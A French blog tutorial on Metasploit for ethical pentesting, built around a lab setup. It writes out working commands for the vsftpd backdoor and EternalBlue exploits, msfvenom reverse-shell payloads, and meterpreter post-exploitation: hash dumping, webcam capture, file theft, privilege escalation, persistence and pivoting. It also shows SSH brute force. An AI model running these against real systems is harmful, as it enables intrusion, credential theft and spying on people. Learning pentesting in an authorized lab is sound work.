Cybersécurité

Tutoriel : Introduction à Metasploit pour le pentesting éthique

13 min de lecture

Pourquoi Metasploit reste l’outil de référence pour apprendre l’exploitation ?

Metasploit Framework est le standard pour qui veut comprendre l’exploitation moderne : 2 500+ modules d’exploit catalogués, intégration directe avec Nmap, base de données d’exploitation, et payloads Meterpreter pour la post-exploitation. C’est l’outil enseigné dans tous les cursus pentest sérieux (OSCP, eJPT) et utilisé en mission par les agences au Sénégal et en Afrique. Couplé à un labo isolé (Kali + Metasploitable), il permet d’apprendre TOUT le cycle d’attaque sans risquer de cours de justice.

Ce que vous saurez faire à la fin

  1. Installer Kali Linux et Metasploit Framework sur une machine dédiée
  2. Réaliser une reconnaissance légale et structurée d’une cible de test
  3. Exploiter une vulnérabilité connue sur Metasploitable 2
  4. Générer un payload avec msfvenom et le livrer proprement
  5. Documenter et remédier les findings comme un pentester pro

Avertissement légal : Metasploit est un outil offensif. Ne l’utilisez QUE sur des machines que vous possédez, dans un labo isolé, ou dans le cadre d’un contrat de pentest signé. Agir autrement est une infraction pénale.

Étape 1 — Monter le labo

  1. Installez VirtualBox ou VMware Workstation Player (gratuit).
  2. Téléchargez l’ISO Kali Linux : kali.org/downloads (version VirtualBox prête à l’emploi).
  3. Téléchargez Metasploitable 2 VM volontairement vulnérable : sourceforge.net/projects/metasploitable.
  4. Importez les deux VM dans VirtualBox : Fichier > Importer une application virtuelle.
  5. Configurez les deux VM en Réseau interne ou Host-only (isolement total de votre réseau réel).
  6. Démarrez Kali et Metasploitable. Identifiez leurs IP : ip a sur chacune.

Étape 2 — Lancer Metasploit

sudo msfdb init       # initialise PostgreSQL pour Metasploit
sudo msfconsole -q    # démarre la console sans bannière
  1. Vérifiez la connexion DB :
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
  1. Créez un workspace pour isoler votre audit :
msf6 > workspace -a audit_labo
msf6 > workspace audit_labo

Étape 3 — Reconnaissance réseau

msf6 > db_nmap -sV -sC -p 21,22,23,80,139,445,3306 10.0.2.4

[*] Nmap: PORT      STATE SERVICE  VERSION
[*] Nmap: 21/tcp    open  ftp      vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh      OpenSSH 4.7p1
[*] Nmap: 80/tcp    open  http     Apache httpd 2.2.8

Les résultats sont automatiquement enregistrés dans la base : hosts, services, vulns.

Étape 4 — Rechercher un exploit pour un service

msf6 > search vsftpd 2.3.4

Matching Modules
================
   #  Name                                  Disclosure Date  Rank       Description
   -  ----                                  ---------------  ----       -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

Étape 5 — Utiliser un exploit

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd) > show options

msf6 exploit(vsftpd) > set RHOSTS 10.0.2.4
msf6 exploit(vsftpd) > show targets
msf6 exploit(vsftpd) > set PAYLOAD cmd/unix/interact
msf6 exploit(vsftpd) > check
[+] 10.0.2.4:21 - The target is vulnerable.

msf6 exploit(vsftpd) > run
[*] 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.4:21 - USER: 331 Please specify the password.
[+] 10.0.2.4:21 - Backdoor service has been spawned, handling...
[*] Command shell session 1 opened
  1. Vous avez un shell. Testez : id, whoami, uname -a.

Étape 6 — EternalBlue sur une VM Windows 7

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.0.2.5
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.0.2.15
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > check
msf6 exploit(ms17_010_eternalblue) > run

[*] Meterpreter session 1 opened
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump

Étape 7 — Générer un payload avec msfvenom

# Reverse shell Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.2.15 LPORT=4444 \
  -f exe -e x64/xor_dynamic -i 3 \
  -o shell.exe

# ELF Linux
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.0.2.15 LPORT=4444 \
  -f elf -o shell.elf

# One-liner bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.2.15 LPORT=4444 -f raw

# Lister tous les payloads
msfvenom --list payloads | grep meterpreter

Étape 8 — Handler pour recevoir la session

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j

[*] Exploit running as background job 0
  1. Livrez le payload à la cible (phishing simulé, clé USB autorisée, etc.).
  2. À l’exécution sur la cible, vous recevez une session Meterpreter.

Étape 9 — Post-exploitation Meterpreter

meterpreter > sysinfo
meterpreter > ipconfig
meterpreter > ps
meterpreter > migrate 1234       # vers un processus stable
meterpreter > hashdump           # hash NTLM des comptes
meterpreter > screenshot
meterpreter > webcam_snap        # si webcam présente
meterpreter > download C:\\Users\\admin\\Documents\\confidentiel.pdf
meterpreter > upload /tmp/payload2.exe C:\\Windows\\Temp\\p.exe

# Privilège escalation
meterpreter > getsystem

# Persistance (à éviter hors contrat explicite)
meterpreter > background
msf6 > use post/windows/manage/persistence_exe

Étape 10 — Pivot vers un autre réseau

meterpreter > background
msf6 > use post/multi/manage/autoroute
msf6 post(autoroute) > set SESSION 1
msf6 post(autoroute) > set SUBNET 172.16.0.0
msf6 post(autoroute) > set NETMASK 255.255.0.0
msf6 post(autoroute) > run

[+] Route 172.16.0.0/16 added
  1. Maintenant, les modules Metasploit peuvent atteindre le réseau 172.16/16 via la session compromise.

Étape 11 — Base de données et requêtes

msf6 > hosts
msf6 > services -p 445
msf6 > vulns
msf6 > creds
msf6 > loot
msf6 > notes

# Export
msf6 > db_export -f xml /tmp/audit.xml

Étape 12 — Modules auxiliaires (scan et recon)

# Identifier la version SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 aux(smb_version) > set RHOSTS 10.0.2.0/24
msf6 aux(smb_version) > run

# Brute-force SSH (LEGAL uniquement)
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 aux(ssh_login) > set RHOSTS 10.0.2.4
msf6 aux(ssh_login) > set USER_FILE /usr/share/wordlists/users.txt
msf6 aux(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 aux(ssh_login) > run

Étape 13 — Ressources Entraînement Légal

  • HackTheBox (hackthebox.com) : machines vulnérables légales, classement
  • TryHackMe (tryhackme.com) : parcours guidés débutant à avancé
  • Metasploitable 2 et 3 : VMs officielles Rapid7
  • VulnHub : collection VM CTF téléchargeables
  • PortSwigger Academy : labs Web Security gratuits
  • OSCP (Offensive Security) : certification de référence

Étape 14 — Rédiger le rapport de pentest

# Rapport Pentest — Client X

## Résumé exécutif
5 findings identifiés : 1 critique, 2 élevés, 2 moyens.
Impact potentiel : compromission totale du serveur applicatif.

## Finding 001 — Critique — RCE via vsftpd 2.3.4 backdoor
**Cible :** 10.0.2.4:21
**CVE :** CVE-2011-2523
**Preuve :** session shell root obtenue en 3 s (screenshot ci-dessous).
**Impact :** exécution arbitraire de code, accès full système.
**Remédiation :** mettre à jour vsftpd vers 3.0+ ou désactiver FTP.
**CVSS 3.1 :** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## Annexes
- Chronologie des commandes : logs/session1.txt
- Outils utilisés : Metasploit 6.4, Nmap 7.94

Étape 15 — Checklist pentester

✓ Contrat signé précisant scope et fenêtre
✓ Workspace Metasploit dédié par mission
✓ Reco (db_nmap) avant exploitation
✓ check() avant run() (non destructif)
✓ Exploit choisi avec rank: excellent ou good
✓ Session sauvegardée: sessions -l et documentation
✓ Aucun dommage aux données production
✓ Rapport avec CVSS et remédiation concrète
✓ Nettoyage post-engagement: persistance retirée

Pour explorer plus loin

Pour appliquer ce tutoriel sur un vrai serveur

Hostinger reste l’option la plus simple pour démarrer. Lien partenaire — votre achat soutient le blog sans surcoût.

Réserver un VPS Hostinger →

Lien d affiliation. Si vous achetez via ce lien, le blog reçoit une petite commission sans surcoût pour vous.

Pourquoi Metasploit reste l’outil de référence en pentest en 2026

Si vous démarrez un audit de sécurité depuis Dakar, Abidjan ou Cotonou, Metasploit Framework reste la boîte à outils la plus complète pour automatiser l’exploitation de vulnérabilités connues. Maintenue par Rapid7 et alimentée par une communauté de chercheurs, la version 6.x intègre plus de 2 300 exploits, 1 200 modules auxiliaires et un moteur de payload modulaire qui s’adapte à n’importe quelle cible Linux, Windows ou Android.

Dans le contexte ouest-africain, où les budgets cybersécurité d’une PME sénégalaise tournent autour de 600 000 à 1 500 000 FCFA par an (915 EUR à 2 287 EUR au taux fixe 1 EUR = 655,957 FCFA), Metasploit a un avantage décisif : il est gratuit, open source et tourne sur un laptop modeste. Vous n’avez pas besoin d’une licence Burp Suite Pro à 449 USD pour livrer un rapport de pentest sérieux à un client de la BCEAO ou d’une banque ivoirienne.

Étape 1 : préparer votre environnement Kali sur Ubuntu ou WSL2

Avant de lancer le moindre exploit, vous devez isoler votre poste de pentest. Sur Ubuntu 24.04 LTS ou Kali Linux 2026.1, ouvrez un terminal et préparez le dépôt officiel Rapid7. Ne lancez jamais Metasploit sur le réseau de production de votre client — utilisez une VM dédiée ou un conteneur Docker.

sudo apt update && sudo apt install -y curl gnupg
curl -fsSL https://apt.metasploit.com/metasploit-framework.gpg.key | sudo gpg --dearmor -o /usr/share/keyrings/msf.gpg
echo "deb [signed-by=/usr/share/keyrings/msf.gpg] https://apt.metasploit.com/ jammy main" | sudo tee /etc/apt/sources.list.d/metasploit.list
sudo apt update && sudo apt install -y metasploit-framework

L’installation pèse environ 1,8 Go et prend 5 à 10 minutes sur une connexion fibre Sonatel ou Orange Côte d’Ivoire. À la fin, la commande msfconsole --version doit afficher quelque chose comme Framework Version: 6.4.x. Si vous voyez une erreur sur PostgreSQL, lancez sudo systemctl start postgresql avant de continuer.

Étape 2 : initialiser la base PostgreSQL pour indexer vos sessions

Metasploit stocke ses cibles, scans et credentials récupérés dans une base PostgreSQL. Sans cette base, vous perdez l’historique entre deux sessions et la recherche d’exploits devient lente. L’initialisation se fait une seule fois.

sudo msfdb init
msfconsole -q
msf6 > db_status

Le retour attendu est Connected to msf. Connection type: postgresql. Si vous obtenez postgresql selected, no connection, vérifiez que le service tourne avec sudo systemctl status postgresql puis relancez msfdb reinit. À ce stade votre console est prête à logger chaque hôte scanné.

Étape 3 : créer un workspace par client pour cloisonner vos audits

Si vous facturez un audit à une banque à Abidjan et un autre à un opérateur télécom à Bamako la semaine suivante, vous ne devez jamais mélanger leurs données. Metasploit propose la notion de workspace, qui équivaut à un projet isolé avec ses propres hôtes et services.

msf6 > workspace -a banque-abidjan-2026
msf6 > workspace banque-abidjan-2026
msf6 > workspace

L’astérisque devant le nom confirme que vous y êtes basculé. Toute commande db_nmap ou hosts qui suivra ne touchera plus le workspace par défaut. C’est un réflexe de pro qui évite les fuites croisées entre clients et qui protège votre responsabilité civile professionnelle.

Étape 4 : reconnaître la cible avec db_nmap intégré

Avant tout exploit, il faut cartographier la surface d’attaque. Metasploit embarque un wrapper autour de Nmap qui injecte directement les résultats dans la base. Imaginons que votre client vous a autorisé par écrit à scanner le réseau 10.0.42.0/24 de leur agence à Cotonou.

msf6 > db_nmap -sV -sC -O -p- --min-rate 1000 10.0.42.0/24
msf6 > services -p 445
msf6 > hosts

Le scan complet d’un /24 prend 15 à 40 minutes selon la latence. À la fin, la table hosts liste chaque IP active avec son OS deviné, et services -p 445 isole les machines exposant SMB — surface d’attaque historique pour EternalBlue et SMBGhost. Notez les IPs intéressantes avant la phase suivante.

Étape 5 : chercher un exploit avec search et le filtrer par fiabilité

Metasploit indexe ses modules par CVE, plateforme et niveau de fiabilité (rank). Un module excellent ou great a très peu de risque de planter le service, contrairement à un average ou low. En audit production, on reste sur du great minimum.

msf6 > search type:exploit platform:windows rank:great cve:2017
msf6 > info exploit/windows/smb/ms17_010_eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue

La fiche info détaille les cibles supportées, les options requises et les références CVE. Lisez-la entièrement — sauter cette étape est la première cause de plantage de service en audit. Une fois le module sélectionné, votre prompt change pour msf6 exploit(eternalblue) >.

Étape 6 : configurer le payload et l’option LHOST sans erreur

Le payload, c’est ce qui s’exécute sur la cible une fois l’exploit réussi. Pour un audit interne, on utilise quasi systématiquement meterpreter/reverse_tcp qui ouvre une session interactive vers votre poste. LHOST doit être l’IP de votre laptop sur le réseau du client, pas votre IP publique Free Sénégal.

msf6 exploit(eternalblue) > set RHOSTS 10.0.42.17
msf6 exploit(eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(eternalblue) > set LHOST 10.0.42.200
msf6 exploit(eternalblue) > set LPORT 4444
msf6 exploit(eternalblue) > show options

La commande show options doit afficher toutes les variables avec une valeur — aucune ligne required: yes ne doit rester vide. Si LHOST pointe sur une mauvaise interface, votre session ne reviendra jamais et vous perdrez 10 minutes à chercher pourquoi.

Étape 7 : lancer l’exploit et gérer la session Meterpreter

Tout est en place. Vous lancez exploit et vous croisez les doigts. Si la cible est vulnérable et le payload bien configuré, une session s’ouvre en quelques secondes.

msf6 exploit(eternalblue) > exploit
[*] Started reverse TCP handler on 10.0.42.200:4444
[+] 10.0.42.17:445 - The target is vulnerable.
[*] Sending stage (200774 bytes) to 10.0.42.17
[*] Meterpreter session 1 opened
meterpreter > sysinfo
meterpreter > getuid

Le retour NT AUTHORITY\SYSTEM sur getuid confirme un accès complet. À partir de là, vous pouvez lister les hashes (hashdump), faire un screenshot ou pivoter. En audit, documentez chaque commande avec horodatage : c’est la matière première de votre rapport final livré au RSSI.

Étape 8 : nettoyer la session et exporter les preuves pour le rapport

Un audit sérieux ne laisse aucune trace persistante sur la cible. Avant de fermer la session, retirez tout fichier déposé et exportez la base Metasploit pour archive juridique.

meterpreter > rm C:\Windows\Temp\payload.exe
meterpreter > exit
msf6 > db_export -f xml /tmp/audit-banque-abidjan-2026.xml
msf6 > loot

Le fichier XML est votre preuve d’exécution propre. Joignez-le au rapport PDF que vous remettez au client, signé numériquement. C’est cette traçabilité qui distingue un consultant à 80 000 FCFA la journée d’un consultant à 250 000 FCFA la journée à Dakar ou Abidjan.

À lire ensuite sur la cybersécurité offensive

Metasploit n’est qu’une brique. Pour monter en compétence, enchaînez avec notre tutoriel sur Burp Suite pour les applications web et avec notre tutoriel sur Nmap pour la reconnaissance réseau. Les trois outils combinés couvrent 80 % d’un audit de sécurité offensif standard.

Service ITSkillsCenter

Application mobile Android et iOS

Création d'application mobile Android et iOS. À partir de 350 000 FCFA.

Démarrer mon projet
Publicité